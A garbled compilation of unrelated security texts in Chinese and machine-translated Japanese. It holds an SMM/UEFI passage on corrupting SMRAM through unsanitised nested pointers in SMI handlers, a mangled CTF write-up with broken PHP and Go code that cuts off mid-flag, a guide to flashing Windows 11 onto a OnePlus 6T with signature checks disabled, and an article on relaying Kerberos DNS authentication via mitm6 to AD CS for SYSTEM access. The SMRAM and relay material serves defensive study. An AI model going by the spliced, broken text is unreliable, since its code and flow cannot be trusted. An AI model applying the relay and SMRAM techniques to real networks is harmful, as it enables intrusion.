圖14 可以通過檢查CommBufferSize參數來緩解低址SMRAM損壞漏洞

再次調用通信緩衝區上的SmmIsBufferOutsideSmmValid(),這一次使用處理程序所期望的大小。

檢測方法為了檢測這類漏洞,我們應該尋找那些沒有正確檢查通信緩衝區大小的SMI處理程序。這表明該處理程序沒有執行以下任何一項:

取消對CommBufferSize參數的引用。

在通信緩衝區上調用SmmIsBufferOutsideSmmValid()。

條件1很容易檢測,因為efiXplorer已經能夠定位SMI處理程序並為它們分配正確的函數原型。條件2也很容易驗證,但關鍵是:由於SmmIsBufferOutsideSmmValid()是靜態鏈接的代碼,所以,我們必須能夠在編譯後的二進製文件中識別它,相關的技巧和竅門將在後面加以介紹。

任意SMRAM損壞類型說明雖然在我們對SMM漏洞的分析中肯定是向前邁進了一大步,但之前的漏洞類別仍然存在幾個重要的限制,使得它們在現實生活場景中難以利用。一個更好、更強大的利用原語將允許我們破壞SMRAM中的任意位置,而不僅僅是那些毗鄰底部的位置。

這樣的利用原語通常可以在其通信緩衝區包含嵌套指針的SMI處理程序中找到。由於通信緩衝區的內部佈局事先並不知道,所以,SMI處理程序本身需要對其進行正確的解析和淨化處理,這通常歸結為對嵌套的指針調用SmmIsBufferOutsideSmmValid(),如果其中一個指針恰好與SMRAM重疊,就跳出。我們就可以在EDK2的SmmLockBox驅動中可以找到一個正確檢查這些條件的教科書式的例子。

1.jpg

圖15 SmmLockBoxSave的子處理程序,用於對嵌套指針進行淨化處理

為了向操作系統報告SMM已經實現了哪些最佳實踐,現代UEFI固件通常會創建並填充一個ACPI表,稱為Windows SMM Mitigations Table,或簡稱WSMT。除其他事項外,WSMT還維護一個名為COMM_BUFFER_NESTED_PTR_PROTECTION的標誌,如果存在該標誌,則表明SMI處理程序不會在未經事先淨化的情況下使用嵌套指針。這個表可以使用chipsec模塊common.wsmt進行轉儲和解析。

1.jpg

圖16 使用CHIPSEC來轉儲和解析WSMT表的內容

不幸的是,實踐表明,大部分情況下報告的緩解措施和現實之間的相關性是很小的。即使存在WSMT,並且報告指出所有支持的緩解措施都是有效的,也經常發現SMM驅動程序完全忘了對通信緩衝區進行淨化處理。利用這一點,攻擊者可以用一個指向SMRAM內存的嵌套指針來觸發有漏洞的SMI。根據特定處理程序的性質,這可能導致指定地址的損壞或從該地址讀取的敏感信息。下面,讓我們來看一個具體的例子。

1.jpg

圖17 SMI處理程序沒有對嵌套指針進行淨化處理,使其容易受到內存損壞的攻擊

在上面的片段中,有一個SMI處理程序,它通過通信緩衝區獲得一些參數。根據反編譯的偽代碼,我們可以推斷出,緩衝區的第一個字節被解釋為一個OpCode字段,指示處理程序接下來應該做什麼(1)。我們可以看出(2),這個字段的有效值是0、2或3。如果實際值與這些值不同,將執行默認子句(3)。在這個子句中,一個錯誤代碼被寫到通訊緩衝區第2個字段所指向的內存位置。由於這個字段和通信緩衝區的全部內容都在攻擊者的控制之下,因此,他們可以在觸發SMI之前對其進行如下設置。

1.jpg

圖18 導致SMRAM損壞的通信緩衝區內容

隨著處理程序的執行,OpCode字段的值將迫使它退回到缺省子句,而地址字段將由攻擊者根據他或她想要破壞的SMRAM的確切部分提前選擇。

緩解措施若要緩解此類漏洞,SMI處理程序必須在使用通信緩衝區之前對其傳遞的任何指針值進行淨化。指針驗證可以通過以下兩種方式之一執行:

調用SmmIsBufferOutsideSmmValid函數:正如前面提到的,SmmIsBufferOutsideSmmValid()是EDK2提供的一個實用函數,用於檢查給定的緩衝區是否與SMRAM重疊。淨化外部輸入指針時,這是首先方法。

另外,一些基於AMI代碼庫的UEFI實現並沒有使用SmmIsBufferOutsideSmmValid(),而是通過一個名為AMI_SMM_BUFFER_VALIDATION_PROTORT的專用協議提供了類似的功能。除了調用函數和使用UEFI協議的語義差異之外,這兩種方法的工作方式大致相同。在下一節,我們將為讀者介紹如何將該協議的定義正確導入IDA。

1.jpg

圖19 AMI_SMM_BUFFER_VALIDATION_PROTOCOL是一種操作

檢測方法

檢測這類漏洞的基本思路是尋找不調用SmmIsBufferOutsideSmmValid()或利用等價的AMI_SMM_BUFFER_VALIDATION_PROTOCOL的SMI處理程序。然而,一些邊緣情況也必須被考慮到。如果不這樣做,可能會引入不必要的假陽性或假陰性。

對通信緩衝區本身調用SmmIsBufferOutsideSmmValid()函數:這只能保證通信緩衝區不與SMRAM重疊(詳見低址SMRAM損壞漏洞),但它對嵌套的指針沒有效果。因此,當試圖評估處理程序對rouge指針值的魯棒性時,這些情況不應該被考慮在內。

完全不使用嵌套指針。一些SMI處理程序可能不會調用SmmIsBufferOutsideSmmValid(),僅僅是因為通信緩衝區沒有保存任何嵌套指針,而是保存了其他數據類型,如整數、布爾標誌等。為了區分這種良性的情況和易受攻擊的情況,我們必須清楚了解通信緩衝區的內部佈局。

雖然這可以作為逆向工程過程的一部分手動完成,但幸運的是,如今自動類型重構已經絕非科幻小說,相反,已經存在相應的工具,並且都可以作為現成的解決方案隨時使用。對於這種類型的漏洞來說,兩個最突出和最成功的IDA插件是HexRaysPyTools和HexRaysCodeXplorer。使用這些工具中的任何一個,都可以對原始指針訪問表示法進行相應的轉換,例如:

1.jpg

圖20 使用原始CommBuffer的SMI處理器

變成更友好和更容易理解的點到成員表示法:

1.jpg

圖21 使用重構CommBuffer的SMI處理器

更重要的是,這些插件可以跟踪各個字段的訪問方式。基於訪問模式,它們完全有能力重構包含結構體的佈局,並推斷出成員的數量、大小、類型、屬性,等等。當應用於通信緩衝區時,這種方法可以幫助我們快速查找其中是否含有嵌套指針。

crypto

質問ラーンsm

のサイン

https://www.json.cn/encrypt/sm3 在这里插入图片描述質問には小文字が必要なので、在这里插入图片描述またはスクリプト:ハスリブのインポート

メッセージ='heidun2024'

hash_object=hashlib.new( 'sm3')hash_object.update(message.encode( 'utf-8'))hash_value=hash_object.hexdigest()

印刷(hash_value)

ソースコードとデータを保護する必要があります

PHPを使用してPHPを復号化するオンライン復号化ツール

1049983-20241008091545084-1544516962.jpg

PHPソースコードを取得します

?phpfunction my_encode($ str、$ key){$ re=''; $ len=strlen($ str); for($ i=0; $ i $ len; $ i ++){$ c=substr($ str、$ i、1); $ k=substr($ key、($ i%strlen($ key))、1); $ num=ord($ c)+ord($ k); if($ num255)$ num-=256; $ re。=chr($ num); } return $ re;} function my_decode($ str、$ key){return 'something' ' file_put_contents( 'data_encoded.txt'、$ mi); echo 'data_encoded.txt';}に保存されました

?phpfunction my_encode($ str、$ key){$ re=''; $ len=strlen($ str); for($ i=0; $ i $ len; $ i ++){$ c=substr($ str、$ i、1); $ k=substr($ key、($ i%strlen($ key))、1); $ num=ord($ c)+ord($ k); if($ num255)$ num-=256; $ re。=chr($ num); } return $ re;} function my_decode($ str、$ key){return 'something' ' file_put_contents( 'data_encoded.txt'、$ mi); echo 'data_encoded.txt';} ? phpfunction my_encode($ str、$ key){$ re=''; $ len=strlen($ str); for($ i=0; $ i $ len; $ i ++){$ c=substr($ str、$ i、1); $ k=substr($ key、($ i%strlen($ key))、1); $ num=ord($ c)+ord($ k); if($ num255)$ num-=256; $ re。=chr($ num); } return $ re;} function my_decode($ str、$ key){return 'something' ' file_put_contents( 'data_encoded.txt'、$ mi); echo 'data_encoded.txt';}に保存されましたか?

私は自分の部門で決定を下します

質問はデータを提供します

ergdgjboglfpgcbpbofmgafhfngpfoflfpfkgjgcccndcfqfpgcgofofpdadadagrプロンプトはカスタムバイナリです。

1049983-20241008091545733-1752718154.jpg

それは大まかにaからrのアルファベット順の順序であり、1つは行方不明です。したがって、実際には11桁で、aからrは0-9 \ a-hに対応していると推測されています。ここでは使用されていません。

最後に、テスト後、各文字の2桁の電子桁電子桁の電子桁が個別にコード化され、解決策がフラグで取得されます。

crypto.util.Number Import *からOpen( 'My Centigrade I'm the Master.txt')as file3: dat=file.readline()print()print(dat.encode()。hex())print(dat)print(len(dat))co=0 print(i、end='')co+=1print()print(co)chls='abcdefghijklmnopqr'myo=' 0123456789abcdefgh'ct=dict(zip(chls、myo))print print(ct)decdat='' .join( 'for i in dat for i in dat) 18の範囲(0、len(decdat)、2): tmp=decdat [i: i +2] res=int(tmp、jinzhi)flag +=chr(res)print(f '{tmp}、{res}、{chr(res)} jinzhi)print(flag2)print(long_to_bytes(flag2))s

1049983-20241008091546391-954442558.jpg

フラグ{heidun18jinzhi666}

ソースコードとデータを保護する必要があります

質問説明:困難なPHP、困難なフラグ。

添付ファイルのPHPファイルは暗号化されており、ひび割れする必要があります。 http://www.zhaoyuanma.com/zym.htmlなどのオンラインクラッキングプラットフォームを使用するか、独自のPHP環境を構築し、PHPビースト拡張モジュールをインストールし、PHPソースコードをデバッグモードで復元できます。 (モジュールはデフォルトキーで使用できます)ソースコードは暗号化関数を書き込みましたが、復号化関数は書かれていません。

1049983-20241008091547075-918034358.jpg

Plantextフラグを取得するには、TXTファイルを復号化するには、復号化関数を自分で記述する必要があります。復号化コードを参照してください。

1049983-20241008091547925-1102002824.jpg

Misc

ロゴ

LSB Steganographyが調べた、ZSTEGは直接在这里插入图片描述 Stegsolveを使用しても大丈夫です、B0チャンネル在这里插入图片描述サンプルを変更しましたが、私の質問が変更されたかどうかはわかりません。これを見ると、base64テーブルの交換を直接考えることができます在这里插入图片描述

エンコードテーブルが正しくないことがわかりました。これが不完全なテーブルの理由である可能性があります。 XYZから始まるので、XLSであることがわかったときにAbcdefghijklmnopqrstuvw 在这里插入图片描述

Officeを学ぶ

を追加しました。私はそれが非表示になる可能性があることがわかりました。在这里插入图片描述はフラグの列を見て、マクロ暗号化を促しました。私のWPSはマクロ操作を実行できないため、Windowsのオフィスに変更して、ビューでマクロを見つけました。在这里插入图片描述ただし、フラグの文字順はフィルター機能をソートせず、フィルターコンピューターの結果は下降しています。在这里插入图片描述抽出旗文字image-20240622123941465

私はQRコードではありません

在这里插入图片描述はQRコードのように見えますが、それでも00000001111111111111111111111111111111111111111年になります。ツールを購入したい場合は、Penguin 97766819 1049983-20241008091601552-1840568348.png 在这里插入图片描述 在这里插入图片描述 QRコード在这里插入图片描述を取得した後、それを特定した後、パスワードを取得しました。私は長い間それをやっています。ファイル名のキーとオフセットだと思います。また、ファイル名在这里插入图片描述 :0101010imgのキーを作成するための古いルーチンでもあります。写真の最後を確認し、文字列を見つけますxyzabcdefghijklmnopqrstuvwxyz0123456789+/w9i4woeejay7un/hv8u/wt870tq2j6xjkel=完全なbase64テーブルにスプレインし、デコードされたように脱化しますflagxyzabcdefghijklmnopqrstuvwxyz0123456789+/abcdefghijklmnopqrstuvw 1049983-20241008091608756-359250761.jpg

1049983-20241008091609506-357426260.jpg

SMTPフローの追跡

1049983-20241008091610589-2126389979.jpg

1049983-20241008091611517-615518589.jpg

base64電子メール本体をデコードしてテキスト情報を取得し、料理人をHTML出力に保存します。

1049983-20241008091612221-1030756767.jpg

添付ファイルをダウンロードして、暗号化されたDocxドキュメントを見つけます。パスワードは質問者のQQ番号です。

1049983-20241008091612843-236564809.jpg

このページは、WUに比較するように促し、彼がQQ番号217778のコミュニケーショングループの所有者であることを発見しました。

復号化は最終結果になります。

1049983-20241008091613540-1190630996.jpg

フラグ{baodaheidunchutiren}

私は私の心を変えました、そして私は私を知りませんでした

この質問では、go's github.com/tjfoc/gmsm/x509ライブラリを使用して、フラグを暗号化して出力します。公開キーと秘密鍵はすべてソースコードにあります。

1049983-20241008091614269-2079140518.jpg

したがって、復号化はライブラリで復号化のために直接使用されます。その中で、ReadPrivateKeyFrompem関数は、ソースコードで指定された秘密鍵が暗号化されていないため、秘密キーパスワードとして2番目のパラメーターPWDを渡す必要があるため、nilに渡すだけで十分です。

パッケージmainimport( 'crypto/rand' _ 'embed' 'github.com/tjfoc/gmsm/x509')type encryptcontroller struct {} func encrypt(plaintext [] byte)[] byte {publickeyfrompem、err :=x509.ReadPublicFuffromec(PUB) ciphertext、err :=publickeyfrompem.encryptasn1(plantext、rand.reader)if err!=nil {panic(err)} return ciphertext} func decrypt(plaintext [] byte)[] byte {privatekeyfrompem、err 3360=x509.readpribatekeykeyfrompem panic(err)} ciphertext、err :=privatekeyfrompem.decryptasn1(plaintext)if err!=nil {panic(err)} return ciphertext} var pub=[] byte( `-----開始public公開key ----- mfkwewyhkozizj0caqyikoecz1ubgi0dqgaie3xqu+awsgmeqnsvflwusdnjxpkjcsid+xllucj3ukfgmlii/lz2fs3gje4o6pgxzewiizz4eb4b4bbrd1xx1xxkrleq===upubl key ---- `)var pri=[] byte(` -----プライベートを開始しますkey --- migtageambmgbyqgsm49agegccqbhm9vayitbhkwdwibaqgglnntszvhlqswzukwz2cwsfscni8lqm0sssss0kvh8doxg+gcgyikoec Z1UBGI2HRANCAATFGQ74DBKCZ5CEXV+XBRIOEPE+SMJKIP7GWVQINDSR8AYSGJ8TNYVLEAL7IJO8ZDKRAIHNPH5VHUT3XGVESUV5 ---- END秘密キー---- `)func main(){cs :=[] byte {48、125、2、33、0、238、212、154、134、255、91、109、210、231、242、184、9、103、26、30、241、93、242、68、119、148、21、148、218、218、218、218、241、175、148、148、148、148、148、 3、152、63、85、82、2、32、2、156、154、131、146、194、242、200、19、109、209、151、90、252、165、49、247、141、208、219、117、226、91、113、113、225、225、33、162、162、162、87、49、49、49、49、49、49、49、68 16、18、177、119、110、74、6、147、235、85、0、61、4、43、107、207、249、37、195、141、141、23、244、159、235、159、169、243、160、37、4、4、20、179、67、236、236、121、146、146、146、146、146、146、146、146、146、146、146、146、146、146、146、146、146、13 197、214、34、63、138、237、247、166、117、246、210} flag :=decrypt(cs)res :=string(flag)println(res)}フラグヘッダーを追加して実際のフラグを取得します。

フラグ{this_is_a_p

0x00 前言Android滲透平台搭建的系列文章第二篇,介紹Android設備OnePlus6T上安裝Win11操作系統的方法,記錄細節。

測試設備:OnePlus 6T 10g+256g 邁凱倫

簡單理解:採用驍龍845處理器的手機設備能夠安裝Arm版的Win11

完整資料:https://renegade-project.cn/#/README

參考資料:

http://www.oneplusbbs.com/thread-4446250-1.html

https://forum.renegade-project.org/t/6-windows/194

https://www.bilibili.com/video/BV1kM4y137bR

https://silime.gitee.io/2021/05/20/Windows10-on-arm64/

https://baijiahao.baidu.com/s?id=1721563590612500439wfr=spiderfor=pc

0x01 簡介本文將要介紹以下內容:

深度刷機的方法

安裝Win11的準備

安裝Win11的方法

0x02 深度刷機的方法這裡把深度刷機放在第一部分,是因為在刷機過程中很容易黑磚,只能通過深度刷機進行還原

在刷機過程中,錯誤的操作有可能導致手機無法開機,即9008 download模式,即常說的黑磚

這時只能通過深度刷機的方法重新刷入系統,也就是常說的救磚

救磚教程參考資料:http://www.oneplusbbs.com/thread-4446250-1.html

1.下載文件在救磚教程中提供的網盤進行下載

(1)9008驅動

網盤中的高通9008驅動(推薦).exe

(2)線刷救磚包

OnePlus 6T邁凱倫定製版有專用的救磚包,網盤中提供的邁凱倫救磚包是氧OS版,後續還需要升級成氫OS

(3)一加萬能工具包

如果無法識別OnePlus 6T,可以安裝一加萬能工具包- 驅動安裝- 黑磚驅動

(4)氫OS系統安裝包

文件列表如下圖

32248cbfef1073ee244c309280d3b33.png

2.安裝9008驅動運行高通9008驅動(推薦).exe

3.安裝底層驅動(1)在Windows系統打開設備管理器,位置:我的電腦-右鍵-管理,在計算機管理中選擇設備管理器

(2)OnePlus 6T在關機狀態下,同時按住音量+和音量-不放,通過USB數據線將OnePlus 6T連接Windows系統

等待Windows系統自動安裝驅動

在設備管理器中,查看”端口(COM和LPT)”,如果出現Qualcomm HS-USB QDLoader 9008(COM3)代表底層驅動安裝成功,如下圖

7cb03b8be5c8b3b8111276f5edd0fa8.png

(3)管理員身份運行MsmDownloadTool V4.0.exe

如下圖

7bf48519930d73be4ace5123ea5ee3d.png

點擊Start開始刷機,如下圖

c34845ce4b6c4fc6a9ec48273cb4f2d.png

等待一段時間,刷機成功,如下圖

ab8975133c552824319f4441f1950dc.png

OnePlus 6T會自動開機,進行初始化,默認安裝氧OS

4.刷入氫OS網盤中提供的邁凱倫救磚包是氧OS版,需要刷成氫OS,可以使用OnePlus 6T內置的本地升級功能

(1)將OnePlus6THydrogen_41_OTA_032_all_1903251445_5c8a300ab3b84fa5.zip複製到OnePlus 6T的根目錄

(2)在OnePlus 6T上依次選擇設置- 系統- 系統更新- 右上角設置- 本地升級,選擇OnePlus6THydrogen_41_OTA_032_all_1903251445_5c8a300ab3b84fa5.zip

等待升級完成,點擊重啟手機

5.升級氫OS Android 10在OnePlus 6T上依次選擇設置- 系統- 系統更新,進行在線升級

在線升級後,最新版本為Android 11,在安裝Win11之前我們先需要降級到Android 10,可以採用以下方法進行降級:

下載降級包:https://download.h2os.com/OnePlus6T/Back/OnePlus6THydrogen_34.K.51_OTA_051_all_2105262300_downgrade_e10c56ab63f04596.zip

在OnePlus 6T上依次選擇設置- 系統- 系統更新- 右上角設置- 本地升級,選擇OnePlus6THydrogen_34.K.51_OTA_051_all_2105262300_downgrade_e10c56ab63f04596.zip

補充:官方OnePlus 6T系統安裝包的下載地址:

https://www.oneplus.com/cn/support/softwareupgrade/details?code=PM1574150307705

注:

我也考慮過在氫OS Android 9進行卡刷直接升級到OS Android 10的方法和在氫OS Android 11進行卡刷直接降級到OS Android 10的方法,但是這兩種方法我在測試過程中失敗了,都是因為無法通過Bootloader模式安裝TWRP

0x03 安裝Win11的準備Windows系統只需要配置adb和fastboot,然後是一些文件的下載

1.adb和fastboot需要下載到Windows系統並配置環境變量

這裡可以選擇一鍵下載配置,下載地址:https://forum.xda-developers.com/t/official-tool-windows-adb-fastboot-and-drivers-15-seconds-adb-installer-v1-4-3.2588979/#post-48915118

運行adb-setup-1.4.3.exe按照提示即可

2.TWRP下載下載頁面:https://twrp.me/oneplus/oneplus6t.html

下載地址:

https://dl.twrp.me/fajita/twrp-3.6.1_9-0-fajita.img

https://dl.twrp.me/fajita/twrp-installer-3.6.1_9-0-fajita.zip

下載得到文件twrp-3.6.1_9-0-fajita.img和twrp-installer-3.6.1_9-0-fajita.zip

twrp-3.6.1_9-0-fajita.img用於通過fastboot啟動TWRP,twrp-installer-3.6.1_9-0-fajita.zip用於永久安裝TWRP

3.parted下載Linux下的分區工具

源碼下載地址:https://alpha.gnu.org/gnu/parted/parted-3.3.52.tar.xz

需要手動編譯

也可以下載編譯好的文件:https://pwdx.lanzoux.com/iUgSEmkrlmh

下載得到文件parted

4.驅動下載項目頁面:https://github.com/edk2-porting/WOA-Drivers

一加6T的下載地址:https://github.com/edk2-porting/WOA-Drivers/releases/download/v1.1.1/fajita.tar.gz

下載得到文件fajita.tar.gz

5.UEFI固件下載項目地址:https://github.com/edk2-porting/edk2-sdm845

一加6T的下載地址:https://github.com/edk2-porting/edk2-sdm845/releases/download/v1.1.1/boot-fajita-10g.img

下載得到文件boot-fajita-10g.img

6.Win11鏡像下載下載arm版的Win11鏡像文件,解壓後將sources\install.wim複製提取出來

最終得到文件install.wim

7.Dism++下載項目地址:https://github.com/Chuyu-Team/Dism-Multi-language

下載地址:https://github.com/Chuyu-Team/Dism-Multi-language/releases/download/v10.1.1002.1/Dism++10.1.1002.1.zip

解壓縮得到文件夾Dism++10.1.1002.1

8.WinPE 下載在參考資料中的百度網盤中下載

解壓縮後的文件列表如下:

boot文件夾

efi文件夾

sources文件夾

bootmgr.efi文件

0x04 安裝Win11的方法1.解鎖Bootloader注:

解鎖Bootloader將擦除Android系統的所有數據

(1)啟動開發者選項

打開OnePlus 6T,依次選擇設置- 關於手機,多次點擊版本號可啟動開發者模式

(2)修改手機設置

依次選擇設置- 系統- 開發者選項,打開OEM解鎖、USB調試和高級重啟

按住電源鍵,選擇引導加載器,進入Bootloader模式,此時DEVICE STATE狀態為locked

(3)連接設備

通過USB數據線將OnePlus 6T連接Windows系統

(4)解鎖

Windows系統的命令行執行:

fastbootoemunlockOnePlus 6T用音量+選擇yes,按電源鍵進行確認

至此,解鎖完成。

解鎖操作將會清空所有數據,此時需要重新啟動開發者模式,打開USB調試和高級重啟

解鎖後每次開機會出現提示The bootloader is unlocked

2.刷入TWRP(1)進入Bootloader模式

在關機狀態下,同時按住電源鍵和音量-

也可以在開機狀態下,按住電源鍵,選擇引導加載器,進入Bootloader模式

此時DEVICE STATE狀態為unlocked

(2)連接設備

通過USB數據線將OnePlus 6T連接Windows系統

通過Windows系統命令行查看設備:

fastbootdevices能夠獲得回顯

(3)刷入TWRP

Windows系統的命令行執行:

fastbootboottwrp-3.6.1_9-0-fajita.img如下圖

fc7c97805c5a92c2a784eaeba8ad08f.png

等待OnePlus 6T啟動TWRP

3.分區進入TWRP後,將parted複製到OnePlus 6T的根目錄,將twrp-installer-3.6.1_9-0-fajita.zip複製到OnePlus 6T的根目錄

在TWRP中,安裝twrp-installer-3.6.1_9-0-fajita.zip,這是為了方便以後在進入Recovery模式會自動啟動TWRP

在TWRP中,選擇Reboot - Recovery,重新進入Recovery模式

此時可選擇兩種方式運行parted進行分區:

(1)通過Windows的命令行執行

adbshell

cp/sdcard/parted/sbin/

chmod755/sbin/parted

umount/dataumount/sdcard

parted/dev/block/sda(2)在OnePlus 6T的TWRP中直接操作

依次選擇Advanced - Terminal

cp/sdcard/parted/sbin/

chmod755/sbin/parted

umount/dataumount/sdcard

parted/dev/block/sda執行cp /sdcard/parted /sbin/的原因是因為在執行umount /sdcard後,無法訪問/sdcard下的文件

查看分區:

(parted)p刪除分區userdata:

(parted)rm17創建分區:

(parted)mkpartespfat326559MB7000MB

(parted)mkpartpefat327000MB17000MB

(parted)mkpartwinntfs17000MB200GB

(parted)mkpartuserdataext4200GB246GB我的環境下,esp對應的分區號為17,對應的命令如下:

(parted)set17espon在TWRP中,選擇Reboot - Recovery

4.格式化重新進入Recovery後依次選擇Advanced - Terminal,命令如下:

mkfs.fat-F32-s1/dev/block/by-name/pe

mkfs.fat-F32-s1/dev/block/by-name/esp

mkfs.ntfs-f/dev/block/by-name/win

mke2fs-text4/dev/block/by-name/userdata在TWRP中,選擇Reboot - Recovery,重新進入Recovery模式

5.掛載PE重新進入Recovery後,將以下文件複製到手機中:

install.wim,Win11 ISO文件中的sources\install.wim

boot,解壓自winpe

efi,解壓自winpe

sources,解壓自winpe

bootmgr.efi,解壓自winpe

Dism++10.1.1002.1

fajita,解壓自https://github.com/edk2-porting/WOA-Drivers/releases/download/v1.1.1/fajita.tar.gz

boot-fajita-10g.img,下載自https://github.com/edk2-porting/edk2-sdm845/releases/download/v1.1.1/boot-fajita-10g.img

文件如下圖

b0ddd6b3f270b56d8164fd12f1f4db7.png

注:

手機使用fat32格式,無法直接複製大於4G的文件,可以選擇將其複製到U盤中

選擇Advanced - Terminal,將文件複製到PE分區的命令如下:

mount/dev/block/by-name/pe/mnt

cp-r/sdcard/*/mnt6.切換分區,選擇Slot B在TWRP中,選擇Reboot - SlotB

7.啟動PE在TWRP中,選擇Install - Install Image - /mnt/boot-fajita-10g.img,刷入鏡像的分區選擇Boot

手機重啟後進入PE系統,在手機上接入鍵盤、鼠標和U盤

8.安裝Win11打開PE中的C:\Dism++10.1.1002.1\Dism++ARM64.exe

在Dism++的頁面,依次選擇文件- 釋放鏡像

第一個參數設置為install.wim

第二個參數安裝路徑設置為D盤

勾選添加引導

點擊確定

釋放完畢後需要修復引導,依次選擇工具箱- 修復引導

9.安裝Win11驅動在Dism++的頁面,依次選擇打開會話- 驅動管理- 添加驅動,選擇fajita文件夾即可

10.設置盤符我的環境下,esp對應的分區號為17,在PE中的CMD輸入以下命令:

diskpart

selectdisk0

listpart

selectpart17

assignletter=Y

exit打開Y盤確認是否成功創建文件夾EFI

11.關閉簽名驗證關閉簽名的命令如下:

bcdedit/storeY:\efi\microsoft\boot\bcd/set{Default}testsigningon

bcdedit/storeY:\efi\microsoft\boot\bcd/set{Default}nointegritycheckson關閉PE系統:

shutdown-s-t012.進入Win11按電源鍵進行開機,等待安裝即可

補充1:Win11切換至Android

開機時按音量+,選擇UEFI BootMenu,再選擇Reboot to other slot

補充2:Android切換至Win11

進入Recovery模式,在TWRP中,選擇Reboot - SlotB

0x05 小結本文介紹了在OnePlus6T上安裝Win11的完整方法。

最近James Forshaw發表的關於Kerberos中繼的博客推翻了以前不能中繼Kerberos的結論。其中介紹了一些技巧,可以將Windows身份驗證轉換為不同的服務主體名(Service Principal Name, SPN),而不是通常從客戶機連接的主機名派生出來的服務主體名,這意味著Kerberos並非如我所設想的那樣是完全可靠的。這促使我去尋找一些其他的濫用途徑,包括我在幾年前研究過但從未付諸實踐的做法——中繼DNS認證。當你能夠使用mitm6通過DHCPv6欺騙來欺騙DNS服務器時,這一點尤其重要。在這個場景中,你可以使用Kerberos和它們的設備帳戶對受害設備進行可靠的身份驗證。這種身份驗證可以中繼到任何不強制執行完整性的服務,例如Active Directory證書服務(AD CS)基於http(s)的註冊,這反過來使它可以在該主機上以SYSTEM的形式執行代碼,正如我在AD CS中繼的博客中討論的那樣。與用mitm6中繼WPAD身份驗證相比,這種技術更快、更可靠、侵入性更小,但當然需要使用AD CS。這個博客描述了這項技術的背景,以及我對krbrelayx所做的更改,以便這次能夠支持真實的Kerberos中繼。

基於DNS 的Kerberos如果你熟悉Kerberos,就會知道DNS是擁有一個工作的Kerberos基礎設施的關鍵組件。但是你知道Active Directory中的DNS也支持使用Kerberos通過DNS進行身份驗證的操作嗎?這是“安全動態更新”操作的一部分,該操作用於保持動態地址的網絡客戶端的DNS記錄與其當前IP地址同步。下圖顯示了動態更新過程中涉及的步驟:

1.png

步驟如下(按照上面的數據包從上到下)。在此交換中,客戶端是Windows 10 工作站,服務器是一個具有DNS角色的域控制器。

客戶機在起始授權機構(SOA)記錄中查詢它的名稱,這表明客戶機所在的域的哪個服務器是授權的。

服務器響應授權的DNS服務器,在本例中是DC icorp-dc.internal.corp。

客戶端嘗試在區域internal.corp 中使用其名稱對A 記錄進行動態更新。

這個動態更新被服務器拒絕,因為沒有提供身份驗證。

客戶端使用TKEY 查詢來協商經過身份驗證的查詢的密鑰。

服務器以TKEY 資源記錄作為回复,完成身份驗證。

客戶端再次發送動態更新,但現在伴隨著TSIG記錄,這是使用步驟5和6中建立的密鑰的簽名。

服務器確認動態更新,新的DNS記錄現在已經就位。

讓我們仔細看看步驟5和步驟6,TKEY查詢實際上是通過TCP發送的,因為它比UDP允許的最大512字節大很多。這主要是因為TKEY的附加記錄相當大,它包含了我們經常看到的Kerberos認證結構:

2.png

事實證明,此查詢包含完整的GSSAPI 和SPNEGO 結構,其中包含Kerberos AP-REQ。這本質上是對服務的正常Kerberos 身份驗證流程。回复再次包含一個GSSAPI 和SPNEGO 結構,指示認證成功,並使用AP-REP 回复。這個AP-REP包含一個新的會話密鑰,客戶端可以使用它來通過TSIG記錄對他們的DNS查詢簽名。請注意,encAPRepPart通常是用只有客戶機和服務器知道的會話密鑰加密的,但是因為我將測試域中各種系統的Kerberos密鑰加載到Wireshark接受的keytab中,所以我們可以對整個交換進行解密,以查看它包含什麼內容。

3.png

此流程的概念相當簡單(實際的實現並不簡單)。客戶機使用Kerberos進行身份驗證並安全地交換會話密鑰,然後使用該會話密鑰對進一步的更新查詢進行簽名。服務器可以存儲密鑰和經過身份驗證的用戶/計算機,並以一種經過身份驗證的方式處理更新,而不必將身份驗證綁定到特定的TCP套接字,因為稍後的查詢可能通過UDP發送。

濫用DNS身份驗證如果我們能夠攔截DNS查詢,那麼就有可能欺騙受害客戶端,讓其向我們發送真實DNS服務器的Kerberos票據。這種攔截可以在默認的Windows配置中由同一(V)LAN中的任何系統使用mitm6完成。 mitm6將自己宣傳為DNS服務器,這意味著受害者將把SOA發送到我們的假服務器,如果我們拒絕它們的動態更新,則使用Kerberos進行身份驗證。這就有點棘手了。通常,DNS服務器角色將在域控制器上運行。因此,DNS服務的服務票據已經適合於運行在DC上的服務,因為它們使用相同的帳戶,我們可以在票據中更改服務名稱。這意味著我們可以將此票據中繼到例如LDAP。然而,如果我們仔細查看TKEY查詢中的驗證器,我們會看到請求完整性(簽名)的標誌被設置了。

4.png

這將自動觸發LDAP簽名,這將使整個攻擊失敗,因為如果不對每條消息提供有效的加密簽名,我們就不能在之後與LDAP交互。我們無法生成此簽名,因為我們中繼了身份驗證,並且實際上並不擁有解密服務票據和提取會話密鑰所需的Kerberos密鑰。

這最初讓我碰壁有兩個原因:

當時,沒有任何已知的默認高值服務可以接受設置了完整性標誌的身份驗證,但不會在協議級別上強制它。

客戶端專門請求他們在其Kerberos 票證請求中使用的SPN 中的“dns”服務類。此SPN 僅在實際的DNS 服務器上設置,因此要中繼到的合法主機的數量非常少。

在閱讀了James的博客後,我重新審視了這個問題:

由於AD CS研究由Lee Christensen和Will Schroeder發表,我們在大多數AD環境中都有一個高價值的端口,並提供了在受害者身上執行代碼的可能性,正如我在上一篇關於AD CS中繼的博客中所描述的那樣。

正如James在他的博客中所描述的,許多服務類實際上會隱式地映射到HOST類。事實證明,這包括DNS,因此當受害者請求DNS服務的票據時,這實際上適用於任何帶有HOST SPN的帳戶。默認情況下,這是在域中的所有計算機帳戶上設置的,因此可以針對在這些帳戶下運行的任何服務。

解決了這兩個問題後,我們就可以將在偽DNS服務器上接收到的Kerberos身份驗證轉發到AD CS。當這一切完成後,我們可以為我們中繼的計算機帳戶請求證書,並使用NT哈希恢復技術或S4U2Self技巧。使用這些技術,我們可以獲得對受害計算機的SYSTEM訪問權限,只要AD CS http端口可用來中繼,這就有效地使其成為可靠的RCE。

